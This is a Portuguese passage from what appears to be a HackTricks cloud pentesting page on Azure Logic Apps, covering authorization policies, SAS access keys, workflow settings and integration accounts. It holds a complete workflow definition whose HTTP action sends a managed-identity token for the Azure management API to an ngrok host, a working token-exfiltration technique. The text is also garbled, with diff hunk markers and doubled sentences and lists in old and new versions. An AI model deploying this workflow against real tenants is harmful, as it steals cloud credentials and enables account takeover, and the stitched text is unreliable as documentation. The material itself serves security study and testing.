Azure Logic Apps suportam **políticas de autorização** com Entra ID para proteger gatilhos baseados em solicitações, exigindo um token de acesso válido. Este token deve incluir reivindicações específicas:
Esses fluxos de trabalho suportam **políticas de autorização** com Entra ID para proteger gatilhos baseados em solicitações, exigindo um token de acesso válido. Este token deve incluir reivindicações específicas:
- Emissor (iss) para verificar o provedor de identidade
- Público (aud) para garantir que o token é destinado ao Logic App
- Assunto (sub) para identificar o chamador
- ID do JWT (identificador do Token Web JSON)
- ID do JWT (identificador do JSON Web Token)
- Reivindicação Personalizada
Quando uma solicitação é recebida, Logic Apps valida o token contra essas reivindicações e permite a execução apenas se corresponder à política configurada. Isso pode ser usado para permitir que outro inquilino acione o workflow ou negar o acionamento de outras fontes, por exemplo, permitindo o acionamento apenas se vier de https://login.microsoftonline.com/.
Quando uma solicitação é recebida, o Logic Apps valida o token em relação a essas reivindicações e permite a execução apenas se corresponder à política configurada. Isso pode ser usado para permitir que outro locatário acione o fluxo de trabalho ou negar o acionamento de outras fontes, por exemplo, permitindo o acionamento apenas se vier de https://login.microsoftonline.com/.
**Chaves de Acesso:**
Quando você salva um gatilho baseado em solicitações pela primeira vez, Logic Apps cria automaticamente um endpoint exclusivo com uma assinatura SAS (criada a partir da Chave de Acesso) que concede permissão para chamar o workflow. Esta assinatura SAS está embutida na URL do gatilho. Esta chave pode ser regenerada e dará uma nova assinatura SAS, mas as chaves não podem ser listadas.
### Chaves de Acesso
A URL para invocá-lo com a Chave de Acesso:
Os fluxos de trabalho **geram 2 chaves de acesso** quando são criados. Essas chaves são usadas para autenticar e autorizar solicitações ao fluxo de trabalho. As chaves são usadas para gerar um token de Assinatura de Acesso Compartilhado (SAS), que é incluído na URL da solicitação.
Assim, quando um gatilho de endpoint HTTP é criado, um **endpoint HTTP exclusivo com uma assinatura SAS** que concede permissão para chamar o fluxo de trabalho é gerado.
Essas **chaves podem ser regeneradas** e uma nova URL SAS será criada para esses gatilhos, mas os **valores das chaves não podem ser acessados**.
Exemplo de uma URL SAS para invocar um gatilho:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Configurações e Componentes do Fluxo de Trabalho
- **Opção de acesso ao gatilho**: Esta configuração permite restringir quem pode acionar ou iniciar seu fluxo de trabalho. As opções são Qualquer IP, Apenas outro fluxo de trabalho e Faixas de IP específicas.
- **Conta de integração**: Vincule seu fluxo de trabalho a uma Conta de Integração.
- **Alta capacidade de processamento**: Se ativado, permite lidar com mais solicitações em paralelo rapidamente.
- **Retenção do histórico de execuções**: Isso indica o número de dias para manter o histórico de execuções.
- **Conexões de API**: Isso mostra as diferentes conexões de API que o fluxo de trabalho possui. Dentro de cada uma dessas conexões, existem diferentes propriedades e a possibilidade de editar a conexão de API onde o tipo de Autenticação pode ser alterado.
- **Histórico**: Tem a opção de acessar o **histórico** de execuções antigas e obter dados: Configurações, Saída, Parâmetros e o Código.
- **Versões**: Tem a opção de acessar diferentes **versões** do fluxo de trabalho, onde você pode verificar o código e alterar o fluxo de trabalho atual por uma versão anterior dele.
- **Identidades Gerenciadas**: É possível atribuir 1 identidade gerenciada pelo sistema e uma identidade gerenciada pelo usuário ao fluxo de trabalho.
### Vazamento de tokens de acesso MI
A ação HTTP em um fluxo de trabalho pode ser usada para enviar dados para uma web externa. Nos **Parâmetros Avançados** da ação HTTP, é possível configurar o **Tipo de Autenticação** como **`Identidade gerenciada`** e, em seguida, selecionar a **Identidade Gerenciada atribuída** a ser usada (sistema ou usuário).
Além disso, é possível indicar no **`Público`** o público do JWT gerado, que poderia ser, por exemplo, **`https://management.azure.com/`** para poder usar o token gerado para acessar a API de gerenciamento do Azure.
> [!WARNING]
> Fazer a ação enviar a solicitação HTTP para um servidor controlado por um atacante pode **vazar o token de acesso da identidade gerenciada** atribuída ao fluxo de trabalho.
> [!TIP]
> Um atacante também poderia usar outros tipos de ações para **acessar diretamente outros serviços do Azure** e realizar ações com as permissões da identidade gerenciada.
Este é o código de um fluxo de trabalho que expõe um endpoint HTTP e, em seguida, usa uma ação HTTP para vazar o token de acesso para a URL configurada (ngrok neste caso):
<details>
<summary>Código do fluxo de trabalho</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## Logic Apps / Plano Padrão
### Diferenças com Workflows "Únicos"
As logic apps basicamente usam um App Service em segundo plano para **hospedar a logic app que pode hospedar vários workflows**. Isso significa que a logic app terá todos os recursos de um App Service e dos Workflows "Únicos".
Alguns recursos chave seriam:
- **Plano de App Service**: Logic Apps no plano padrão são hospedadas em um Plano de App Service, então é possível usar todos os recursos do App Service, como:
- **Restrições de Rede**: Indicar de onde é acessível.
- **Centro de Implantação**: Implantar de plataformas externas como Github, Bitbucket, Azure Repos, Git Externo e Git Local.
- **Acesso FTP**: É possível acessar os arquivos da Logic App através de FTP.
- **Conta de Armazenamento**: O aplicativo de serviço usa uma conta de armazenamento para armazenar informações.
- **Variáveis de Ambiente & Configurações de App**: É possível configurar variáveis de ambiente e configurações de app (e encontrar informações sensíveis como chaves de acesso à conta de armazenamento).
- ...
- **Parâmetros**: Parâmetros permitem gerenciar valores que variam entre desenvolvimento, teste e produção. Isso permite que você projete workflows primeiro e, em seguida, ajuste facilmente as configurações específicas do ambiente mais tarde.
- **Recursos Dedicados**: Logic Apps no plano padrão têm recursos dedicados.
- **Múltiplos Workflows**: Permite criar múltiplos workflows.
Para mais informações sobre App Services, consulte:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### Enumeração
@@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
### Contas de Integração
## Contas de Integração
**Contas de Integração** são um recurso do Azure Logic Apps. As Contas de Integração são usadas para facilitar integrações em nível empresarial, permitindo capacidades avançadas de B2B, como EDI, AS2 e gerenciamento de esquemas XML. As Contas de Integração são um contêiner no Azure que armazena os seguintes artefatos usados para Logic Apps:
* Esquemas: Gerenciar esquemas XML para validar e processar mensagens em sua conta de integração.
* Mapas: Configurar transformações baseadas em XSLT para converter formatos de dados dentro de seus fluxos de trabalho de integração.
* Assemblies: Gerenciar assemblies da conta de integração para otimizar a lógica e o processamento de dados.
* Certificados: Lidar com certificados para criptografar e assinar mensagens, garantindo comunicação segura.
* Parceiros: Gerenciar informações de parceiros comerciais para transações B2B, permitindo integrações sem costura.
* Acordos: Configurar regras e configurações para troca de dados com parceiros comerciais (por exemplo, EDI, AS2).
* Configurações de Lote: Gerenciar configurações de processamento em lote para agrupar e processar mensagens de forma eficiente.
* RosettaNet PIP: Configurar Processos de Interface de Parceiro RosettaNet (PIPs) para padronizar a comunicação B2B.
* **Esquemas**: Gerenciar esquemas XML para validar e processar mensagens em sua conta de integração.
* **Mapas**: Configurar transformações baseadas em XSLT para converter formatos de dados dentro de seus fluxos de trabalho de integração.
* **Assemblies**: Gerenciar assemblies da conta de integração para otimizar a lógica e o processamento de dados.
* **Certificados**: Lidar com certificados para criptografar e assinar mensagens, garantindo comunicação segura.
* **Parceiros**: Gerenciar informações de parceiros comerciais para transações B2B, permitindo integrações sem costura.
* **Acordos**: Configurar regras e configurações para troca de dados com parceiros comerciais (por exemplo, EDI, AS2).
* **Configurações de Lote**: Gerenciar configurações de processamento em lote para agrupar e processar mensagens de forma eficiente.
* **RosettaNet PIP**: Configurar Processos de Interface de Parceiro RosettaNet (PIPs) para padronizar a comunicação B2B.
#### Enumeração
@@ -329,4 +405,10 @@ Mesma coisa que a escalação de privilégios de aplicativos lógicos:
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## Persistência
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}